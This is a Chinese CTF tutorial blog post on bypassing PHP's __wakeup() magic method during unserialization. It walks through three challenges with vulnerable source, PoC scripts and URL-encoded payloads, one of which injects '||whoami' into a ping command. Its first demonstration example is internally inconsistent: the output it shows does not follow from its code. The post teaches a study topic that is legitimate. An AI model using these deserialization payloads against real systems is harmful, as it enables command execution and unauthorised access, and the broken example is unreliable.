CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧

news2024/11/24 16:03:43

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~

目录

  • 1. __wakeup()介绍
  • 2.__wakeup()绕过
  • 3. 绕过应用举例
  • 4. 真实赛题
    • 4.1 赛题一
    • 赛题2 攻防世界 Web_php_unserialize
    • 赛题三:极客⼤挑战 2019 PHP(综合题目)

1. __wakeup()介绍

__wakeup() 是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数。

下面是一个简单的示例,它演示了如何在一个 PHP 对象中使用 __wakeup() 方法:

class Example {
    public $a = 1;
    public $b = 2;

    public function __wakeup() {
        $this->a *= 2;
        $this->b *= 2;
    }
}

$serialized = serialize(new Example());
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中,我们定义了一个名为 Example 的类,它具有两个公共属性 $a$b。在 __wakeup() 方法中,我们将 $a$b 的值各自乘以 2。然后我们序列化一个 Example 对象,并使用 unserialize() 函数将其还原为 PHP 对象。最后,我们使用 var_dump() 函数输出这个对象。运行这个脚本,输出将是:

object(Example)#2 (2) {
  ["a"]=>
  int(2)
  ["b"]=>
  int(4)
}

正如预期的那样,我们的 __wakeup() 方法成功地修改了 $a$b 的值。

在安全编程中,__wakeup() 方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。

2.__wakeup()绕过

然而,攻击者可以通过多种方式绕过这种保护机制。当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。

具体来说,当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。

攻击者可以利用这个漏洞来绕过 __wakeup() 函数中的安全检查,从而执行任意代码。攻击者可以使用 O 类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多。由于 PHP 会忽略多余的属性,攻击者可以绕过 __wakeup() 函数的安全检查,并执行恶意代码。

以下是一个漏洞利用的示例代码:

class Example {
    private $a = 1;
    private $b = 2;
    
    public function __wakeup() {
        if ($this->a != 1 || $this->b != 2) {
            die("Invalid values for a and b");
        }
    }
}

$payload = 'O:7:"Example":3:{s:1:"a";i:2;s:1:"b";i:3;s:1:"c";i:4;}';
$serialized = serialize(new Example());
$serialized = str_replace('s:3:"Example":3', 's:3:"Example":2', $serialized);
$unserialized = unserialize($serialized);
var_dump($unserialized);

在这个例子中,我们定义了一个名为 Example 的类,它有两个私有属性 $a$b__wakeup() 方法检查 $a$b 的值是否为 1 和 2。然后我们手动序列化了一个 Example 对象,并使用 O 类型的序列化字符串将其包装起来。在这种情况下,我们添加了一个新属性 $c,并将属性数量设置为 3。然后,我们使用 str_replace() 函数将序列化字符串中属性的数量修改为 2,从而绕过了 __wakeup() 函数的安全检查。因此,运行这个脚本,输出将是:

object(Example)#2 (2) {
  ["a":"Example":private]=>
  int(2)
  ["b":"Example":private]=>
  int(3)
}

3. 绕过应用举例

当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。

漏洞影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10

标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}

4. 真实赛题

4.1 赛题一

  • 源码
<?php
highlight_string(file_get_contents('exam_day1.php'));
class home
{
 private $method;
 private $args;
 function __construct($method, $args)
 {
 $this->method = $method;
 $this->args = $args;
 }
 function __destruct()
 {
 // TODO: Implement __destruct() method.
 if (in_array($this->method, array("ping"))) {
 call_user_func_array(array($this, $this->method), $this->args);
 }
 }
 function ping($host)
 {
 system("ping -C 2 $host");
 }
 function __wakeup()
 {
 $this->args = array("127.0.0.1");
 }
}
$a=@$_GET['a'];
@unserialize($a);
?>
  • 解题思路
  1. 关键点在于__wakeup将所有参数均变为127.0.0.1
  2. 需要拼接命令,如ping -c 2;ls或ping -c 2|ls
  3. 构造poc

因为我是在windows10系统上起的服务,系统命令使用whoami

<?php
class home
{
 private $method='ping';
 private $args=array('||whoami');
}
$h = new home();
$ori = serialize($h);
echo $ori.'<br>';
echo urlencode($ori);
?>

在这里插入图片描述
原始序列化字符串:
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
将"home":2 ,修改为“home”:3 即可绕过__wakeup
最终攻击payload
?a=O%3A4%3A%22home%22%3A3%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22%7C%7Cwhoami%22%3B%7D%7D
在这里插入图片描述

赛题2 攻防世界 Web_php_unserialize

  • 题目
    在这里插入图片描述
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
  • 代码解释
    只说绕过点处的正则分析
 if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
功能代码
匹配模式/[oc]:\d+:/i
判断变量是否匹配模式preg_match(‘/[oc]:\d+:/i’, $var)
匹配规则匹配一个字符集 [oc],后跟一个冒号 :,再跟一个或多个数字 \d+,最后再跟一个冒号 :
匹配字符串示例o:123:、c:456:、O:789:、C:321:
匹配字符串示例(不匹配)abc、1234、o: abc:
匹配修饰符i,表示忽略大小写
匹配结果判断如果变量 $var 匹配模式,则执行 die(‘stop hacking!’)
序列化/反序列化如果变量 $var 不匹配模式,则使用 unserialize() 函数对 $var 进行反序列化
  • 解题思路
  1. 其余不再分析,只说这道题特有的考点
  2. 这道题特点是绕过preg_match(‘/[oc]:\d+:/i’, $var)

匹配到任意长度的数字 或者oc(类似数字)字符都会被过滤

绕过方式数字前加正号,如+4,正好不改变正数的值,却可以绕过检测

  1. 对private中%00的绕过,此题url编码后的base64,网站不认可。所以只能使用最原始保真的方式生成序列化,并直接base64,注意参考POC
<?php
class Demo { 
    private $file = 'fl4g.php';
}
$d = new Demo();
$ori = serialize($d);
echo $ori.'<br>';
$ori = str_replace('O:4','O:+4', $ori);
$ori = str_replace('"Demo":1:','"Demo":2:',$ori);
// $result = urlencode($ori);
echo $ori.'<br>';
echo base64_encode($ori);

?>

// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
// O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
// TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

赛题三:极客⼤挑战 2019 PHP(综合题目)

极客⼤挑战 2019 PHP
在这里插入图片描述

  • 题目

一只猫,爱备份

  • 解题思路
  1. 既然提示了爱备份,使用burp加载CTF字典扫描,果然扫到备份地址

在这里插入图片描述

  1. 访问/www.zip 自动下载源码。index.php源码如下
 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

其中class.php源码如下

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
  1. 分析源码,class.php已经包含了flag文件 。在反序列化过程中,会自动触发__wakeup()和__destruct()这两个魔法函数。首先根据__destruct()可知,username=='admin'同时password=100可响应flag
  2. 但是魔法函数__wakeup已默认赋值username = 'guest’所以首先要绕过__wakeup。修改属性数量值即可
  3. 构造poc,一击必杀
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}

$name = new Name();
$ser_ori = serialize($name);
echo($ser_ori.'<br>');
$result = str_replace('"Name":2', '"Name":3', $ser_ori);
echo($result.'<br>');
echo(urlencode($result));

?>
/*
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
*/

攻击payload,页面直接爆flag
http://bb716fd5-9d48-4096-82dc-7afb1c3d4c76.node4.buuoj.cn:81/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
在这里插入图片描述

下篇文章是php序列化的最后一篇文章,关于phar反序列化,敬请期待~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/552790.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

iptables防火墙2

iptables防火墙 一&#xff1a;SNAT原理与应用 SNAT 应用环境&#xff1a;局域网主机共享单个公网IP地址接入Internet&#xff08;私有不能早Internet中正常路由&#xff09;SNAT原理&#xff1a;修改数据包的源地址。 SNAT转换前提条件&#xff1a; 1.局域网各主机已正确设…

新星计划 Electron+vue2 桌面应用 2 搭建及运行

基础内容&#xff1a;新星计划 Electronvue2 桌面应用 1 基础_lsswear的博客-CSDN博客 根据使用过的经验和官网的描述&#xff0c;大概可以有四种方式&#xff1a; 自己创建项目&#xff08;仅使用npm&#xff09;用Electron脚手架HBuilder编译为web&#xff0c;再用Electron…

MSP432笔记4:时钟与滴答计时器

所用单片机型号&#xff1a;MSP432P401r 今日继续更新我的MSP432电赛速通笔记&#xff1a; 提示&#xff1a; 本节内容相当于讲述delay_ms&#xff08;&#xff09; 和delay_us&#xff08;&#xff09; 俩延时函数的由来&#xff0c; 所以不需要花费过多时间斟酌 MSP432单…

论文阅读_音频表示_wav2vec_2.0

论文信息 name_en: wav2vec 2.0: A Framework for Self-Supervised Learning of Speech Representations name_ch: wav2vec 2.0&#xff1a;语音表示自监督学习框架 paper_addr: http://arxiv.org/abs/2006.11477 date_read: 2023-04-27 date_publish: 2020-10-22 tags: [‘深…

C++深度解析:虚函数的使用与避免

C深度解析&#xff1a;虚函数的使用与避免 1. 虚函数的基本概念与原理 (Basic Concepts and Principles of Virtual Functions)1.1 虚函数的定义与作用 (Definition and Role of Virtual Functions)1.2 虚函数的底层实现 (Underlying Implementation of Virtual Functions)1.3 …

【CANN训练营0基础赢满分秘籍】进阶班 Atlas 200I DK 智能小车

1 智能小车三维结构设计 1.1 基本模块 坚固酷炫结构模块运动控制模块超声波传感器模块摄像头视觉模块其他传感器模块 1.2 结构设计基本原则 从零开始设计并搭建智能小车&#xff0c;在满足外观要求的基础上&#xff0c;要满足小车运转过程中的运动干涉率为O&#xff0c;并且…

【CANN训练营0基础赢满分秘籍】进阶班 应用开发深入讲解

1 AIPP AIPP (Artificial Intelligence Pre-Processing)人工智能预处理&#xff0c;在AI Corfe上完成数据预处理。 1.1 静态AIPP 构造AIPP配置文件*.cfg使能静态AIPP&#xff0c;将其配置参数保存在模型文件中。 atc --framework3--soc_versionS[soc_version) --model SHOM…

基于51单片机的电子琴Protues仿真设计

一、设计背景 基于51单片机的电子琴是一款由51单片机控制器、音频模块和硬件阵列组成的数字化乐器。它可以模拟各种乐器的音效&#xff0c;同时也具有许多常规电子琴所没有的高级功能。 首先&#xff0c;这种电子琴是以数字信号处理技术为基础的。通过软件编程&#xff0c;将…

【JUC】Java对象内存布局和对象头

【JUC】Java对象内存布局和对象头 文章目录 【JUC】Java对象内存布局和对象头1. 对象的内存布局1.1 对象头1.1.1 对象标记1.1.2 类元信息/类型指针 1.2 实例数据1.3 对齐填充 2. 测试 1. 对象的内存布局 在 HotSpot 虚拟机里&#xff0c;对象在堆内存中的存储布局可以划分为三…

MSP432学习笔记6:中断优先级管理

所用型号&#xff1a;MSP432P401R 今日继续我的MSP432电赛速通之路。 主要学习的是&#xff1a;中断优先级管理、软件挂起中断、屏蔽中断优先级 目录 MSP432具有8级可编程的中断优先级。 中断优先级管理库函数&#xff1a; 软件挂起中断&#xff1a; 屏蔽中断优先级&#…

微信小程序富文本插件mp-html

使用场景&#xff1a; 偏偏后端传过来的数据又要用到富文本标签&#xff0c;然后找了很多组件&#xff0c;要不就是下载量低&#xff0c;要不就是里面功能太少&#xff0c;只有这款mp-html组件深得我心&#xff0c;里面功能丰富&#xff0c;简单实用&#xff0c;真的绝绝子&…

DMA直接存储器存取

目录 存储器映像 寄存器 DMA框图 DMA基本结构 DMA请求映射 数据宽度与对齐 ​编辑 存储器到存储器 ​编辑 外设与存储器 来源b站江科大stm3入门教程 存储器映像 寄存器 DMA框图 AHB从设备&#xff08;DMA自身的寄存器&#xff09;连接在总线矩阵右侧的AHB总线上 所以DMA既…

LeetCode:509. 斐波那契数 70. 爬楼梯 746. 使用最小花费爬楼梯

509. 斐波那契数 题目 斐波那契数 &#xff08;通常用 F(n) 表示&#xff09;形成的序列称为 斐波那契数列 。该数列由 0 和 1 开始&#xff0c;后面的每一项数字都是前面两项数字的和。也就是&#xff1a; F(0) 0&#xff0c;F(1) 1 F(n) F(n - 1) F(n - 2)&#xff0c;…

无底线内卷?谈谈如何在职场中实现人生巅峰

在竞争激烈的职场上&#xff0c;各种职场难题时常出现&#xff0c;如何进行有效沟通、如何应对工作压力、如何提升职业能力等&#xff0c;这都是需要去克服的问题。 1. 尝试人际沟通A&#xff1a;TO 企业B&#xff1a;TO 员工 2. 适应工作压力A&#xff1a;原因B&#xff1a;TO…

ROS2 入门应用 创建启动文件(C++)

ROS2 入门应用 创建启动文件&#xff08;C&#xff09; 1. 创建功能包2. 添加依赖关系3. 添加编译信息4. 创建启动文件4.1. Python4.2. XML4.3. YAML 5. 编译和运行 1. 创建功能包 用Python、XML或YAML编写的启动文件可以启动和停止不同的节点&#xff0c;以及触发和处理各种事…

法规标准-GB/T 39323标准解读(2020版)

GB/T 39323是做什么的&#xff1f; GB/T 39323全称为乘用车车道保持辅助(LKA)系统性能要求及试验方法&#xff0c;其中主要描述了LKA系统的功能要求及测试要求 一般要求 1.系统应能在状态良好的车道边线环境下识别车辆与车道边线的相对位置&#xff0c;辅助驾驶员将车辆保持…

76.建立一个主体样式第二部分

上节课的时候我们完成的页面是这个样子&#xff01; ● 之后我们通过绝对定位来解决位置定位的问题 .header-container {width: 1200px;margin: 0 auto;position: absolute;left: 50%;top: 50%; }header {height: 100vh;background-color: orange;position: relative; }● 之…

通过Python的PyPDF2库提取pdf中的文字

文章目录 前言一、PyPDF2库是什么&#xff1f;二、安装PyPDF2库三、查看PyPDF2库版本四、使用方法1.引入库2.定义pdf路径3.打开PDF文件4.创建PDF阅读器对象5.获取PDF文件中的页数6.遍历每一页7.获取当前页内容8.提取当前页文本9.打印当前页文本10.效果 总结 前言 一、PyPDF2库…

【2023 · CANN训练营第一季】初识新一代开发者套件 Atlas 200I DK A2---介绍Atlas 200I DK A2的基本使用

1.Atlas 200I DK A2开发者套件板介绍 应用场景&#xff1a;昇腾AI开发者上手学习、实践创新场景&#xff0c;提供配套软硬件 关键特性规格描述形态135mm120mm44mmAI 算力整数精度&#xff08;INT8):8 TOPS 半精度&#xff08;FP16): 4 TFLOPS摄像头接口2* MIPI - CSI 支持两个…

研报精选230521

目录 【行业230521山西证券】煤炭行业周报&#xff1a;量减需增进口倒挂&#xff0c;煤炭价格企稳反弹 【行业230521东吴证券】大炼化周报&#xff1a;油价弱势震荡&#xff0c;下游表现疲软 【行业230521东海证券】4月社零报告专题&#xff1a;低基数下创新高&#xff0c;实质…